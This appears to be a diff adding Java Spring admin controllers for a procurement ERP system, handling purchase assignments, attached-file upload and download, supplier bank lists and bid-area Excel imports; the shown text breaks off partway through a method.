import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@RequestMapping("admin/adminPurchase")
|
||||
@Controller("adminAdminPurchase")
|
||||
public class AdminPurchaseController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private AdminPurchaseService adminPurchaseService;
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
@Resource
|
||||
private ProductTypeService productTypeService;
|
||||
@Resource
|
||||
private AdminPurchaseProductTypeService adminPurchaseProductTypeService;
|
||||
@Resource
|
||||
private ProgressService progressService;
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable,Long progressId){
|
||||
Admin admin = adminService.getCurrent();
|
||||
if (admin.getNowProgress() == null){
|
||||
modelMap.addAttribute("company",true);
|
||||
}else {
|
||||
modelMap.addAttribute("company",false);
|
||||
}
|
||||
Page<AdminPurchase> page = adminPurchaseService.findPageView(pageable,progressId == null?admin.getNowProgress():progressId);
|
||||
Map<Long,String> map = new HashMap<>();
|
||||
for (AdminPurchase adminPurchase : page.getContent()){
|
||||
String name = "";
|
||||
for (AdminPurchaseProductType adminPurchaseProductType : adminPurchase.getAdminPurchaseProductTypeList()){
|
||||
if (adminPurchaseProductType.getProductType().getTypeDescribe() != null) {
|
||||
name += "<span>" + adminPurchaseProductType.getProductType().getName() + "(" + adminPurchaseProductType.getProductType().getTypeDescribe() + ");</span><br>";
|
||||
}else {
|
||||
name += "<span>" + adminPurchaseProductType.getProductType().getName() + ";</span><br>";
|
||||
}
|
||||
}
|
||||
map.put(adminPurchase.getId(),name);
|
||||
}
|
||||
modelMap.addAttribute("map",map);
|
||||
modelMap.addAttribute("page",page);
|
||||
modelMap.addAttribute("progressId",progressId);
|
||||
modelMap.addAttribute("progressList",progressService.findAll());
|
||||
return "adminPurchase/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(ModelMap modelMap){
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("progressId",admin.getNowProgress());
|
||||
modelMap.addAttribute("adminList",adminService.findAll());
|
||||
modelMap.addAttribute("productTypeList",productTypeService.findAll());
|
||||
return "adminPurchase/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap, Long id){
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("progressId",admin.getNowProgress());
|
||||
AdminPurchase adminPurchase = adminPurchaseService.find(id);
|
||||
List<Long> ids = new ArrayList<>();
|
||||
for (AdminPurchaseProductType adminPurchaseProductType : adminPurchase.getAdminPurchaseProductTypeList()){
|
||||
ids.add(adminPurchaseProductType.getProductType().getId());
|
||||
}
|
||||
modelMap.addAttribute("ids",ids);
|
||||
modelMap.addAttribute("adminList",adminService.findAll());
|
||||
modelMap.addAttribute("adminPurchase",adminPurchase);
|
||||
modelMap.addAttribute("productTypeList",productTypeService.findAll());
|
||||
return "adminPurchase/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public RespData save(AdminPurchase adminPurchase,Long[] productTypeIds){
|
||||
try {
|
||||
adminPurchaseService.saveEntity(adminPurchase,productTypeIds);
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public RespData update(AdminPurchase adminPurchase,Long[] productTypeIds){
|
||||
// if (adminPurchase.getAdmin()==null || adminPurchase.getAdmin().getId() == null){
|
||||
// return RespData.error("员工不能为空");
|
||||
// }
|
||||
// if (adminPurchase.getProductType()==null || adminPurchase.getProductType().getId() == null){
|
||||
// return RespData.error("可采购类别不能为空");
|
||||
// }
|
||||
// Admin admin = adminService.find(adminPurchase.getAdmin().getId());
|
||||
// adminPurchase.setAdmin(admin);
|
||||
// ProductType productType = productTypeService.find(adminPurchase.getProductType().getId());
|
||||
// adminPurchase.setProductType(productType);
|
||||
try {
|
||||
adminPurchaseService.updateEntity(adminPurchase,productTypeIds);
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
adminPurchaseService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addFile")
|
||||
public String dialogAddFile(ModelMap modelMap){
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("progressId",admin.getNowProgress());
|
||||
return "adminPurchase/dialog/addFile";
|
||||
}
|
||||
|
||||
@RequestMapping("/import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file,Long progressId) {
|
||||
try {
|
||||
adminPurchaseService.importExcel(file,progressId);
|
||||
return RespData.success();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
// /**
|
||||
// * 导入模板
|
||||
// */
|
||||
// @RequestMapping("/exportTemplate")
|
||||
// public void exportTemplate(HttpServletResponse response) {
|
||||
// adminPurchaseService.exportTemplate(response);
|
||||
// }
|
||||
//
|
||||
// @RequestMapping("import")
|
||||
// @ResponseBody
|
||||
// public RespData importExcel(MultipartFile file) {
|
||||
// try {
|
||||
// adminPurchaseService.importExcel(file);
|
||||
// return RespData.success();
|
||||
// } catch (RuntimeException e) {
|
||||
// return RespData.error(e.getMessage());
|
||||
// } catch (Exception e) {
|
||||
// return RespData.error("导入失败");
|
||||
// }
|
||||
// }
|
||||
}
|
||||
27
src/main/java/com/vverp/controller/admin/AreaController.java
Normal file
27
src/main/java/com/vverp/controller/admin/AreaController.java
Normal file
@@ -0,0 +1,27 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Area;
|
||||
import com.vverp.service.AreaService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.List;
|
||||
|
||||
@Controller("area")
|
||||
@RequestMapping(value = "/area")
|
||||
public class AreaController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private AreaService areaService;
|
||||
|
||||
@RequestMapping("/dynamicLoading")
|
||||
@ResponseBody
|
||||
public List<Area> dynamicLoading(Long parentId, Integer grade){
|
||||
Area parentBean = areaService.find(parentId);
|
||||
List<Area> area = areaService.dynamicLoading(parentBean, grade);
|
||||
return area;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import cn.hutool.json.JSONUtil;
|
||||
import com.vverp.base.Setting;
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.AttachFile;
|
||||
import com.vverp.enums.OrderAttachFileType;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.AttachFileService;
|
||||
import com.vverp.service.UploadFileService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.*;
|
||||
import java.util.*;
|
||||
|
||||
@Controller("adminAttachFileController")
|
||||
@RequestMapping("/admin/attachFile")
|
||||
public class AttachFileController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private AttachFileService attachFileService;
|
||||
|
||||
@Resource
|
||||
private UploadFileService uploadFileService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable, AttachFile.Type type){
|
||||
Admin admin = adminService.getCurrent();
|
||||
Page<AttachFile> page = attachFileService.findPageView(pageable,type,admin.getNowProgress());
|
||||
modelMap.addAttribute("page",page);
|
||||
return "attachFile/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/orderFileDialog")
|
||||
public String orderFileDialog(ModelMap modelMap, Long[] fileIds, String attachFileWrapper, String source,
|
||||
Long contentId, @RequestParam(defaultValue = "false") Boolean contractFlag) {
|
||||
List<AttachFile> attachFileList = attachFileService.findList(fileIds);
|
||||
modelMap.addAttribute("attachFileList", attachFileList);
|
||||
modelMap.addAttribute("attachFileWrapper", attachFileWrapper);
|
||||
modelMap.addAttribute("source", source);
|
||||
modelMap.addAttribute("contentId", contentId);
|
||||
modelMap.addAttribute("contractFlag", contractFlag);
|
||||
modelMap.addAttribute("orderAttachFileTypes", OrderAttachFileType.values());
|
||||
return "/attachFile/dialog/orderFileDialog";
|
||||
}
|
||||
|
||||
@RequestMapping("/orderFileViewDialog")
|
||||
public String orderFileViewDialog(ModelMap modelMap, Long[] fileIds,
|
||||
@RequestParam(defaultValue = "false") Boolean contractFlag) {
|
||||
List<AttachFile> attachFileList = attachFileService.findList(fileIds);
|
||||
modelMap.addAttribute("attachFileList", attachFileList);
|
||||
modelMap.addAttribute("contractFlag", contractFlag);
|
||||
return "/attachFile/dialog/orderFileViewDialog";
|
||||
}
|
||||
|
||||
@RequestMapping("/upload")
|
||||
@ResponseBody
|
||||
public RespData upload(MultipartFile file) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件不存在");
|
||||
}
|
||||
|
||||
try {
|
||||
String fileName = uploadFileService.localUpload(file);
|
||||
AttachFile attachFile = new AttachFile(file.getOriginalFilename(), file.getSize(), new Date(),
|
||||
Setting.getData().getLocalStoragePath() + File.separator + fileName);
|
||||
attachFileService.save(attachFile);
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("attachFile", attachFile);
|
||||
return RespData.success(map);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error("上传失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/uploadOss")
|
||||
@ResponseBody
|
||||
public RespData uploadOss(MultipartFile file, String source) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件不存在");
|
||||
}
|
||||
|
||||
String fileName = uploadFileService.ossUpload(file);
|
||||
AttachFile attachFile = new AttachFile(file.getOriginalFilename(), file.getSize(), new Date(), fileName);
|
||||
if (source != null) {
|
||||
if (source.equals("supplier")) {
|
||||
attachFile.setType(AttachFile.Type.supplier);
|
||||
}else if (source.equals("purchaseOrder")){
|
||||
attachFile.setType(AttachFile.Type.purchaseOrder);
|
||||
}else if (source.equals("payment")){
|
||||
attachFile.setType(AttachFile.Type.payment);
|
||||
}else {
|
||||
attachFile.setType(AttachFile.Type.other);
|
||||
}
|
||||
}
|
||||
Admin admin = adminService.getCurrent();
|
||||
attachFile.setProgressId(admin.getNowProgress());
|
||||
attachFileService.save(attachFile);
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("attachFile", attachFile);
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/updateOrderAttachFileType")
|
||||
@ResponseBody
|
||||
public RespData updateOrderAttachFileType(Long id, OrderAttachFileType orderAttachFileType) {
|
||||
AttachFile attachFile = attachFileService.find(id);
|
||||
attachFile.setOrderAttachFileType(orderAttachFileType);
|
||||
attachFileService.update(attachFile);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("downloadFile")
|
||||
public void downloadFile(HttpServletResponse response, Long id) {
|
||||
AttachFile attachFile = attachFileService.find(id);
|
||||
File file = new File(attachFile.getPath());
|
||||
response.setCharacterEncoding("utf-8");
|
||||
response.setContentType("multipart/form-data");
|
||||
try {
|
||||
response.addHeader("Content-Disposition",
|
||||
"attachment;filename=" + new String(attachFile.getName().getBytes(), "ISO8859-1"));
|
||||
} catch (UnsupportedEncodingException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
try (FileInputStream inputStream = new FileInputStream(file);
|
||||
OutputStream outputStream = response.getOutputStream()) {
|
||||
byte[] buff = new byte[(int) file.length()];
|
||||
inputStream.read(buff);
|
||||
outputStream.write(buff);
|
||||
outputStream.flush();
|
||||
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/deleteFile")
|
||||
@ResponseBody
|
||||
public RespData deleteFile(Long id) {
|
||||
attachFileService.deleteFile(id);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/deleteFileOss")
|
||||
@ResponseBody
|
||||
public RespData deleteFileOss(Long id) {
|
||||
attachFileService.delete(id);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/updateSourceAttachFiles")
|
||||
@ResponseBody
|
||||
public RespData updateSourceAttachFiles(String source, Long contentId, String attachFieldsStr) {
|
||||
List<Long> attachFields = JSONUtil.toList(JSONUtil.parseArray(attachFieldsStr), Long.class);
|
||||
return respDataWithHandle(() -> attachFileService.updateSourceAttachFiles(source, contentId, attachFields));
|
||||
}
|
||||
}
|
||||
33
src/main/java/com/vverp/controller/admin/BankController.java
Normal file
33
src/main/java/com/vverp/controller/admin/BankController.java
Normal file
@@ -0,0 +1,33 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Supplier;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.SupplierService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/8/28 9:48 上午
|
||||
*/
|
||||
@Controller("adminBankController")
|
||||
@RequestMapping("/admin/bank")
|
||||
public class BankController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@RequestMapping("/findList")
|
||||
@ResponseBody
|
||||
public RespData findList(String type, Long id) {
|
||||
if (type.equals("supplier")) {
|
||||
Supplier supplier = supplierService.find(id);
|
||||
return RespData.success(supplier.getBankAccountList());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
}
|
||||
254
src/main/java/com/vverp/controller/admin/BaseController.java
Normal file
254
src/main/java/com/vverp/controller/admin/BaseController.java
Normal file
@@ -0,0 +1,254 @@
|
||||
/*
|
||||
* Copyright 2013-2017 vverp.com. All rights reserved.
|
||||
* Support: http://www.vverp.com
|
||||
* License: http://www.vverp.com/license
|
||||
*/
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.dto.LayuiPage;
|
||||
import com.vverp.entity.Log;
|
||||
import com.vverp.util.PageUtils;
|
||||
import org.apache.commons.lang.exception.ExceptionUtils;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
import org.springframework.beans.propertyeditors.StringTrimmerEditor;
|
||||
import org.springframework.util.Assert;
|
||||
import org.springframework.web.bind.WebDataBinder;
|
||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||
import org.springframework.web.bind.annotation.InitBinder;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.context.request.RequestAttributes;
|
||||
import org.springframework.web.context.request.RequestContextHolder;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.validation.ConstraintViolation;
|
||||
import javax.validation.Validator;
|
||||
import java.math.BigDecimal;
|
||||
import java.util.Collection;
|
||||
import java.util.Date;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
|
||||
import com.vverp.moli.util.*;
|
||||
|
||||
/**
|
||||
* Controller - 基类
|
||||
*
|
||||
* @author
|
||||
* @version 1.0
|
||||
*/
|
||||
public class BaseController {
|
||||
|
||||
/** Logger */
|
||||
private final Logger logger = LoggerFactory.getLogger(getClass());
|
||||
|
||||
protected static final Message SUCCESS = Message.success("操作成功");
|
||||
|
||||
protected static final Message ERROR = Message.success("操作失败");
|
||||
|
||||
/** "验证结果"属性名称 */
|
||||
private static final String CONSTRAINT_VIOLATIONS_ATTRIBUTE_NAME = "constraintViolations";
|
||||
|
||||
@Resource(name = "validator")
|
||||
private Validator validator;
|
||||
|
||||
/**
|
||||
* 数据绑定
|
||||
*
|
||||
* @param binder
|
||||
* WebDataBinder
|
||||
*/
|
||||
@InitBinder
|
||||
protected void initBinder(WebDataBinder binder) {
|
||||
binder.registerCustomEditor(String.class, new StringTrimmerEditor(true));
|
||||
binder.registerCustomEditor(Date.class, new DateEditor(true));
|
||||
binder.registerCustomEditor(String.class, "password", new StringEditor(true));
|
||||
}
|
||||
|
||||
|
||||
@ExceptionHandler
|
||||
@ResponseBody
|
||||
public Message exceptionHandler(Exception exception) {
|
||||
exception.printStackTrace();
|
||||
return Message.error("异常", exception.getMessage());
|
||||
}
|
||||
|
||||
/**
|
||||
* 数据验证
|
||||
*
|
||||
* @param target
|
||||
* 验证对象
|
||||
* @param groups
|
||||
* 验证组
|
||||
* @return 验证结果
|
||||
*/
|
||||
protected boolean isValid(Object target, Class<?>... groups) {
|
||||
Assert.notNull(target);
|
||||
|
||||
Set<ConstraintViolation<Object>> constraintViolations = validator.validate(target, groups);
|
||||
if (constraintViolations.isEmpty()) {
|
||||
return true;
|
||||
}
|
||||
RequestAttributes requestAttributes = RequestContextHolder.currentRequestAttributes();
|
||||
requestAttributes.setAttribute(CONSTRAINT_VIOLATIONS_ATTRIBUTE_NAME, constraintViolations, RequestAttributes.SCOPE_REQUEST);
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* 数据验证
|
||||
*
|
||||
* @param targets
|
||||
* 验证对象
|
||||
* @param groups
|
||||
* 验证组
|
||||
* @return 验证结果
|
||||
*/
|
||||
protected boolean isValid(Collection<Object> targets, Class<?>... groups) {
|
||||
Assert.notEmpty(targets);
|
||||
|
||||
for (Object target : targets) {
|
||||
if (!isValid(target, groups)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 数据验证
|
||||
*
|
||||
* @param type
|
||||
* 类型
|
||||
* @param property
|
||||
* 属性
|
||||
* @param value
|
||||
* 值
|
||||
* @param groups
|
||||
* 验证组
|
||||
* @return 验证结果
|
||||
*/
|
||||
protected boolean isValid(Class<?> type, String property, Object value, Class<?>... groups) {
|
||||
Assert.notNull(type);
|
||||
Assert.hasText(property);
|
||||
|
||||
Set<?> constraintViolations = validator.validateValue(type, property, value, groups);
|
||||
if (constraintViolations.isEmpty()) {
|
||||
return true;
|
||||
}
|
||||
RequestAttributes requestAttributes = RequestContextHolder.currentRequestAttributes();
|
||||
requestAttributes.setAttribute(CONSTRAINT_VIOLATIONS_ATTRIBUTE_NAME, constraintViolations, RequestAttributes.SCOPE_REQUEST);
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* 数据验证
|
||||
*
|
||||
* @param type
|
||||
* 类型
|
||||
* @param properties
|
||||
* 属性
|
||||
* @param groups
|
||||
* 验证组
|
||||
* @return 验证结果
|
||||
*/
|
||||
protected boolean isValid(Class<?> type, Map<String, Object> properties, Class<?>... groups) {
|
||||
Assert.notNull(type);
|
||||
Assert.notEmpty(properties);
|
||||
|
||||
for (Map.Entry<String, Object> entry : properties.entrySet()) {
|
||||
if (!isValid(type, entry.getKey(), entry.getValue(), groups)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 货币格式化
|
||||
*
|
||||
* @param amount
|
||||
* 金额
|
||||
* @param showSign
|
||||
* 显示标志
|
||||
* @param showUnit
|
||||
* 显示单位
|
||||
* @return 货币格式化
|
||||
*/
|
||||
protected String currency(BigDecimal amount, boolean showSign, boolean showUnit) {
|
||||
// Setting setting = SystemUtils.getSetting();
|
||||
// String price = setting.setScale(amount).toString();
|
||||
// if (showSign) {
|
||||
// price = setting.getCurrencySign() + price;
|
||||
// }
|
||||
// if (showUnit) {
|
||||
// price += setting.getCurrencyUnit();
|
||||
// }
|
||||
// return price;
|
||||
return "";
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取国际化消息
|
||||
*
|
||||
* @param code
|
||||
* 代码
|
||||
* @param args
|
||||
* 参数
|
||||
* @return 国际化消息
|
||||
*/
|
||||
protected String message(String code, Object... args) {
|
||||
return SpringUtils.getMessage(code, args);
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加日志
|
||||
*
|
||||
* @param content
|
||||
* 内容
|
||||
*/
|
||||
protected void addLog(String content) {
|
||||
if (content != null) {
|
||||
RequestAttributes requestAttributes = RequestContextHolder.currentRequestAttributes();
|
||||
requestAttributes.setAttribute(Log.LOG_CONTENT_ATTRIBUTE_NAME, content, RequestAttributes.SCOPE_REQUEST);
|
||||
}
|
||||
}
|
||||
|
||||
protected RespData respDataWithHandle(Runnable runnable) {
|
||||
return respDataWithHandle(runnable, "操作失败");
|
||||
}
|
||||
|
||||
protected RespData respDataWithHandle(Runnable runnable, String errorMsg) {
|
||||
try {
|
||||
runnable.run();
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
logger.error("controller error: {}", ExceptionUtils.getFullStackTrace(e));
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
logger.error("controller error: {}", ExceptionUtils.getFullStackTrace(e));
|
||||
return RespData.error(errorMsg);
|
||||
}
|
||||
}
|
||||
|
||||
protected Message msgDataWithHandle(Runnable runnable) {
|
||||
return msgDataWithHandle(runnable, "操作失败");
|
||||
}
|
||||
|
||||
protected Message msgDataWithHandle(Runnable runnable, String errorMsg) {
|
||||
try {
|
||||
runnable.run();
|
||||
return Message.success("success");
|
||||
} catch (RuntimeException e) {
|
||||
logger.error("controller error: {}", ExceptionUtils.getFullStackTrace(e));
|
||||
return Message.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
logger.error("controller error: {}", ExceptionUtils.getFullStackTrace(e));
|
||||
return Message.error(errorMsg);
|
||||
}
|
||||
}
|
||||
|
||||
protected <T> LayuiPage<T> toLayuiPage(RespData respData) {
|
||||
return PageUtils.toLayuiPage(respData);
|
||||
}
|
||||
|
||||
}
|
||||
193
src/main/java/com/vverp/controller/admin/BidAreaController.java
Normal file
193
src/main/java/com/vverp/controller/admin/BidAreaController.java
Normal file
@@ -0,0 +1,193 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.ProductType;
|
||||
import com.vverp.entity.Supplier;
|
||||
import com.vverp.entity.BidArea;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@RequestMapping("admin/bidArea")
|
||||
@Controller("adminBidArea")
|
||||
public class BidAreaController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private BidAreaService bidAreaService;
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
@Resource
|
||||
private ProductTypeService productTypeService;
|
||||
|
||||
@Resource
|
||||
private DiameterService diameterService;
|
||||
@Resource
|
||||
private WallThicknessService wallThicknessService;
|
||||
@Resource
|
||||
private MaterialService materialService;
|
||||
@Resource
|
||||
private SizeStandardService sizeStandardService;
|
||||
@Resource
|
||||
private EndFaceService endFaceService;
|
||||
@Resource
|
||||
private PressureLevelService pressureLevelService;
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable, String productTypeChan,String bigType,String smallType){
|
||||
Admin admin = adminService.getCurrent();
|
||||
Page<BidArea> page = bidAreaService.findPageView(pageable,productTypeChan,admin.getNowProgress(),bigType,smallType);
|
||||
// Map<Long,String> typeChan = new HashMap<>();
|
||||
// for (BidArea product : page.getContent()){
|
||||
// if (product.getProductType() != null) {
|
||||
// if (product.getProductType().getParentId() != null){
|
||||
// ProductType parent = productTypeService.find(product.getProductType().getParentId());
|
||||
// typeChan.put(product.getId(), parent.getName()+"/"+product.getProductType().getName());
|
||||
// }else {
|
||||
// typeChan.put(product.getId(), product.getProductType().getName());
|
||||
// }
|
||||
// }else {
|
||||
// typeChan.put(product.getId(), "");
|
||||
// }
|
||||
// }
|
||||
modelMap.addAttribute("page",page);
|
||||
modelMap.addAttribute("bigType",bigType);
|
||||
modelMap.addAttribute("smallType",smallType);
|
||||
modelMap.addAttribute("productTypeChan",productTypeChan);
|
||||
return "bidArea/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(ModelMap modelMap){
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("progressId",admin.getNowProgress());
|
||||
modelMap.addAttribute("productTypeList",productTypeService.findListByAttribute("level",1));
|
||||
|
||||
modelMap.addAttribute("pressureLevelList",pressureLevelService.findAll());
|
||||
modelMap.addAttribute("endFaceList",endFaceService.findAll());
|
||||
modelMap.addAttribute("materialList",materialService.findAll());
|
||||
modelMap.addAttribute("wallThicknessList",wallThicknessService.findAll());
|
||||
modelMap.addAttribute("diameterList",diameterService.findAll());
|
||||
modelMap.addAttribute("sizeStandardList",sizeStandardService.findAll());
|
||||
return "bidArea/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(Long id,ModelMap modelMap){
|
||||
BidArea bidArea = bidAreaService.find(id);
|
||||
ProductType productType = productTypeService.find(bidArea.getBigTypeId());
|
||||
modelMap.addAttribute("bigTypeList",productTypeService.findListByAttribute("level",1));
|
||||
if (productType != null) {
|
||||
modelMap.addAttribute("smallTypeList", productTypeService.findByParent(productType.getId()));
|
||||
}else {
|
||||
modelMap.addAttribute("smallTypeList", new ArrayList<>());
|
||||
}
|
||||
modelMap.addAttribute("bidArea",bidArea);
|
||||
modelMap.addAttribute("pressureLevelList",pressureLevelService.findAll());
|
||||
modelMap.addAttribute("endFaceList",endFaceService.findAll());
|
||||
modelMap.addAttribute("materialList",materialService.findAll());
|
||||
modelMap.addAttribute("wallThicknessList",wallThicknessService.findAll());
|
||||
modelMap.addAttribute("diameterList",diameterService.findAll());
|
||||
modelMap.addAttribute("sizeStandardList",sizeStandardService.findAll());
|
||||
return "bidArea/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public Message save(BidArea bidArea){
|
||||
try {
|
||||
bidAreaService.saveEntity(bidArea);
|
||||
return Message.success("保存成功");
|
||||
}catch (Exception e){
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public Message update(BidArea bidArea){
|
||||
try {
|
||||
bidAreaService.updateEntity(bidArea);
|
||||
return Message.success("保存成功");
|
||||
}catch (Exception e){
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long[] ids){
|
||||
bidAreaService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addFile")
|
||||
public String dialogAddFile(ModelMap modelMap){
|
||||
modelMap.addAttribute("adminId",adminService.getCurrent().getId());
|
||||
return "bidArea/dialog/addFile";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/uploadExcel")
|
||||
@ResponseBody
|
||||
public RespData uploadExcel(MultipartFile file,Long adminId) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xls") && !fileName.endsWith("xlsx")) {
|
||||
return RespData.error("不是excel文件");
|
||||
}
|
||||
try {
|
||||
Map<String,Object> map = bidAreaService.saveFile(file,adminId);
|
||||
Integer repeatNum = Integer.valueOf(map.get("repeatNum").toString());
|
||||
Integer failNum = Integer.valueOf(map.get("failNum").toString());
|
||||
String msg = "导入成功,"+repeatNum+"条已存在";
|
||||
map.put("msg",msg);
|
||||
if (failNum == 0 && repeatNum ==0){
|
||||
return RespData.success(map);
|
||||
}
|
||||
if (failNum>0) {
|
||||
msg = failNum + "条导入失败";
|
||||
}
|
||||
map.put("msg",msg);
|
||||
return RespData.warn(map);
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("uploadResult")
|
||||
public String uploadResult(ModelMap modelMap,Integer successNum, Integer repeatNum, Integer failNum){
|
||||
modelMap.addAttribute("successNum",successNum);
|
||||
modelMap.addAttribute("repeatNum",repeatNum);
|
||||
modelMap.addAttribute("failNum",failNum);
|
||||
return "bidArea/dialog/uploadResult";
|
||||
}
|
||||
|
||||
@RequestMapping("exportNotFund")
|
||||
public void exportNotFund(HttpServletResponse response) {
|
||||
try {
|
||||
